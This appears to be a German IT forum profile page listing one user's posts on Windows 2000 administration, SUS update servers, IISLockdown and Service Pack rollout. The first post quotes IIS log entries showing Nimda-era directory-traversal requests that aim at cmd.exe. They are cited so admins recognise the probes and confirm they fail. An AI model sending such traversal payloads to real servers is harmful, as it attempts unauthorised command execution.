Jump to content

thorgood

Expert Member
  • Gesamte Inhalte

    2.709
  • Registriert seit

  • Letzter Besuch

Beiträge erstellt von thorgood

  1. Dann schau mal in ein paar Tagen in deine Logfiles

    dort findes du mit sicherheit solche Einträge.

     

    GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -

    GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -

    GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

    GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -

     

    Hoffentlich mit der 404 am Ende.

    Dafür sorgt das IISLockdown.

     

    Nimbda und Konsorten sind immernoch unterwegs.

     

    thorgood

  2. Da hab ich mich vielleicht undeutlich ausgedrückt.

    Auf einem Notebook ein SUS Server installiert.

    Der wird am Internet syncronisiert.

     

    Im Unternehmen ist ein ganz normaler PC/Server mit SUS Server und der bleibt auch immer da.

    Dieser wird in seinen Optionen so konfiguriert das er seine Updates nicht aus dem Internet holt sondern vom SUS Server des Notebooks.

     

    thorgood

  3. Hi Wildi,

    ich geht mal davon aus der Internetzugang ist nicht auf dem Server realisiert,

    sondern der Server ist hinter einem "genatteten irgendwas" mit Portforwarding des 80ers zum Server.

    Dann ist dieser nur von außen über diesen Port erreichbar.

    (Muß er ja auch, sonst wärs ja sinnlos).

    Wenn alle SP, Patches und IISLockdown eingespielt sind ist

    der Server nach dem HEUTIGEN Kenntnisstand sicher.

     

    thorgood

  4. Also manuell glaub ich geht nicht nicht.

    Eine Möglichkeit wäre (kenn auch einen der das so macht) im

    Unternehmen einen SUS Server installieren und zusätzlich auf seinem Notebook.

    Notebook geht abend mit nach Hause und wird am DSL syncronisiert.

    Dann morgens ans Firmennetz und den SUS Server mit Notebook syncen. Fertig.

     

    thorgood

  5. Meines Wissens nach nicht.

    Das würde auch gegen die Regeln Microsofts verstossen.

    Wenn eine Netzwerkkarte über DHCP zwei IP Adressen erhält,

    müssten diese im gleichen Subnetz sein, was zur Folge hätte

    das der Netzwerkname Doppelt vorhanden wäre,

    mit der passenden Meldung im Ereignissprotokoll.

     

    thorgood

  6. Hallo Johannes Schmidt,

    die kleinste Harware Ausstattung die ich bisher hatte war ein Dell GX-irgendwas

    350Mhz 6GB-HD 256-RAM mit Windows 2000 Server Installation.

    Der bediente einen Standort mit ca. 30 Clients. Das läuft sehr gut.

    Wo ich jetzt gerade Teste und Erfahrungen sammle ist an einem

    grösseren Standort die Verteilung von Service Packs.

    Bisher ging auch das gut mit der Ausnahme das "reichlich"

    freier Plattespeicher vorhanden sein muss.

    Erst zieht er 130MB gepacktes SP, packt es aus (+150MB), installiert

    und legt alle alten Dateien ins Backup Verzeichnis.

    Und da liegen die Probleme wenn vorher nur 300MB lokal frei waren.

     

    Ansonsten eine feine Sache.

     

    thorgood

×
×
  • Neu erstellen...